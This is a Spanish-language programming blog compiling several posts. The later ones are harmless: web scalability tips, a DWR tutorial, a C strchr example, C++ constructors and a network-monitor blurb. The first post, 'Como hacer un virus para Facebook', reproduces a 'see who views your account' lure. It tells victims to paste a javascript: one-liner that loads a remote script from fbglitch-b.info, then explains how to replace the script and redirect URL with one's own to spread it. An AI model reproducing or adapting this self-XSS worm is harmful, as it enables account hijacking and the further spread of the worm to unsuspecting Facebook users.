lunes, 11 de abril de 2011

Como hacer un virus para Facebook

Como hacer un virus para Facebook
I. la impresión de un usuario que se dió cuenta de que abrió un link con virus: http://blog.socialsafe.net/2011/04/11/warning-facebook-viruses-doing-the-rounds/
II. el código: http://pastebin.com/xJRuCUi4
II. el ejemplo de como infectar a otro directamente:
I found a way to view who views your account
Follow these super easy steps to find out:
1. Copy this code:
javascript:(a=(b=document).createElement('script')).src='//rty.fbglitch-b.info/e.js',b.body.appendChild(a);void(0)
2. Paste it in your URL address bar and click enter/return.
Note: The URL adress bar is the white bar where you type your websites.
3. Wait for the {{Trick||Glitch||Spoof} to process and then check your account!
IV. lo anterior es la forma directa, pero existen formas mas refinadas para que un usuario entre a ese javascript desde facebook
V. reemplazar esta pagina src='//rty.fbglitch-b.info/e.js' por el lugar donde guardaras tu codigo java script.
VI. reemplazar dentro del java script la linea que dice: var redirect = "http://fbglitch-a.info/final.php"; por el link a tu pagina.

jueves, 14 de octubre de 2010

How websites handle multiple users simultaneously? « My Blog – My Thoughts

How websites handle multiple users simultaneously? « My Blog – My Thoughts

This time I am sharing my discussions about how all these high traffic sites handle multiple users simultaneously. The discussion is not specific to a certain web site but rather was related to a set of guidelines that every developer should follow to make such tasks easy. There are many things to consider. I would list down some as follows:

  1. Separating the code into distinct independent layers. A classic three tier architecture having a Presentation Layer, Business Logic Layer and Data Access Layer. These layers should be independent of each other and communication paths clearly defined i.e., A layer can talk to the layer below it – no skip or jumps allowed. The reason being independent layers are easy to scale out when the load increases.
  2. In the Presentation Layer use the Session Object appropriately. In fact the default behavior should be to not use the Session object unless there is absolute need for doing so. The main reason being Session Replication being a very costly operation. Although there are many solutions available but still use the Session object as less as possible.
  3. Make the Business Layer or Service Layer stateless. Stateless means there shouldn’t be any instance variables which saves the state of the Service and the respective calls depends upon that state. Again the reason being we can easily scale out these services to other machines and being stateless we can make a call to any one of them. I will talk about the advantages of this in concurrency later.
  4. Make the methods idempotent – multiple application of same operation on same set of parameters return the same result. Again this allows us to retry in case of communication failure or any other circumstances.
  5. Having Stateless Services (no sharing of data between them) also make them highly scalable. They can service multiple threads simultaneously.
  6. Don’t do any premature optimizations in the code. Write clear and readable code. As always said “Premature Optimizations is the Root of ALL Evil”.
  7. Make your code independent of the Communication Mechanism between layers. This allows us to change/scale the communication layer as required and the code is clean. Always remember cleaner code is easier to scale than spaghetti code :-)
  8. Use resources carefully. And its best to cache expensive resources and quickly return those back to the pool instead of holding onto them for a long time.
  9. Keep the Transactions as short as possible. And group similar things into a single Transaction.
  10. Same goes for any locks you hold in the code, like Synchronized Blocks – keep them as small/short as possible. Also synchronized blocks are not the only solution for shared data access. There are other ways as well, many of which are available in new concurrency package in Java.
  11. Cache as much as possible. But don’t make your code do that. Keep the cache transparent to your code – Aspect Oriented Programming (AOP) can help a lot in these scenarios and/or cross cutting concerns.

martes, 21 de septiembre de 2010

Tutorial DWR, Usa todo el poder de java con el dinamismo de un javaScript gracias a DWR

El Mejor Ejemplo DWR, o El Mejor Tutorial DWR

DWR (Direct Web Remoting)es una librería Javascript que permite el uso de Ajax (Asynchronous JavaScript and XML) de forma mucho más simple (Este artículo asume que se entiende los conceptos de Ajax, y de Java).

DWR es una librería mas orientada a apoyar la integración, que a apoyar la parte gráfica, de hecho si se buscan Widgets (objetos gráficos) esta no es la librería, pero por otro lado lo fuerte de DWR es que permite “publicar” fácilmente funcionalidad de clases Java para accederlas vía Javascript.

easyservicedwr[1]

Luego si nuestra funcionalidad o lógica de negocio esta en Java, DWR es una de la mejores opciones para aprovecharla, ya que usar una clase Java que tenemos en un servidor de aplicaciones vía Javascript es tan fácil como definir un archivo de configuración en el servidor….

continua leyendo en: http://soaagenda.com/journal/articulos/el-mejor-ejemplo-dwr-o-el-mejor-tutorial-dwr/

El Mejor Ejemplo DWR, o El Mejor Tutorial DWR

lunes, 13 de septiembre de 2010

strchr - C++ Reference

strchr es una función de la librería string.h que sirve para obtener la posición de la “primera ocurrencia” de un carácter determinado en una cadena determinada.

Ejemplo:



Código:
/* strchr example */
#include <stdio.h>
#include <string.h>

int main ()
{
char str[] = "This is a sample string";
char * pch;
printf ("Looking for the 's' character in \"%s\"...\n",str);
pch=strchr(str,'s');
while (pch!=NULL)
{
printf ("found at %d\n",pch-str+1);
pch=strchr(pch+1,'s');
}
return 0;
}











Salida:
Looking for the 's' character in "This is a sample string"...

found at 4


found at 7


found at 11


found at 18


fuente: http://www.cplusplus.com/reference/clibrary/cstring/strchr/ 



strchr - C++ Reference

C++: Constructors (Contructores en C++)

 

Cuando se crea un objeto a partir de instanciar una clase, C++ llama al constructor de esa clase. Si ningún constructor es definido, se invoca un constructor por default, que reserva memoria para el objeto, pero no lo inicializa.

Por que se debe definir un constructor.

Miembros no inicializados guardan basura. creando un posible bug (por ejemplo un puntero no inicializado, valores ilegales, o inconsistentes…).

Declarando un constructor.

Un constructor es similar a una funcion, pero con las siguientes diferencias:

1. Lleva el mismo nombre que la clase.

2. No hay un tipo de dato de regreso.

3. No hay declaración que no regresa nada.

Ejemplo (Extracto de tres diferentes archivos):

//=== point/point.h ===================

#ifndef POINT_H

#define POINT_H

class Point {

public:

Point(); // parameterless default constructor

Point(int new_x, int new_y); // constructor with parameters

int getX();

int getY();

private:

int x;

int y;

};

#endif

 

Parte del archivo de implementación.

//=== point/point.cpp ===========
. . .
Point::Point() { // default constructor
x = 0;
y = 0;
}
Point::Point(int new_x, int new_y) { // constructor
x = new_x;
y = new_y;
}
. . .

 

Aqui una parte de un archivo que usa la clase “Point”

//=== point/main.cpp ============
. . .
Point p; // calls our default constructor
Point q(10,20); // calls constructor with parameters
Point* r = new Point(); // calls default constructor
Point s = p; // our default constructor not called
. . . .

fuete: http://www.fredosaurus.com/notes-cpp/oop-condestructors/constructors.html

C++: Constructors

NBMonitor Network Bandwidth Monitor | Network Monitoring

 nbmonitor_box[1]

Completa suite para el monitoreo y control del ancho de banda de uno o varios equipos en red.  Controla el trafico en general.

images_2[1]

NBMonitor tracks your Internet bandwidth (upload and downloads) usage, monitors all your Internet, it shows all the active connections you have to the Internet at any given moment and also the volume of traffic flowing through them. NBMonitor displays real-time details about your network connections and network adapter's bandwidth usage. Unlike others, it shows process names initiated network connections and allows you to set filters to capture only the traffic you are interested in.

NBMonitor Network Bandwidth Monitor | Network Monitoring

http://www.nbmonitor.com/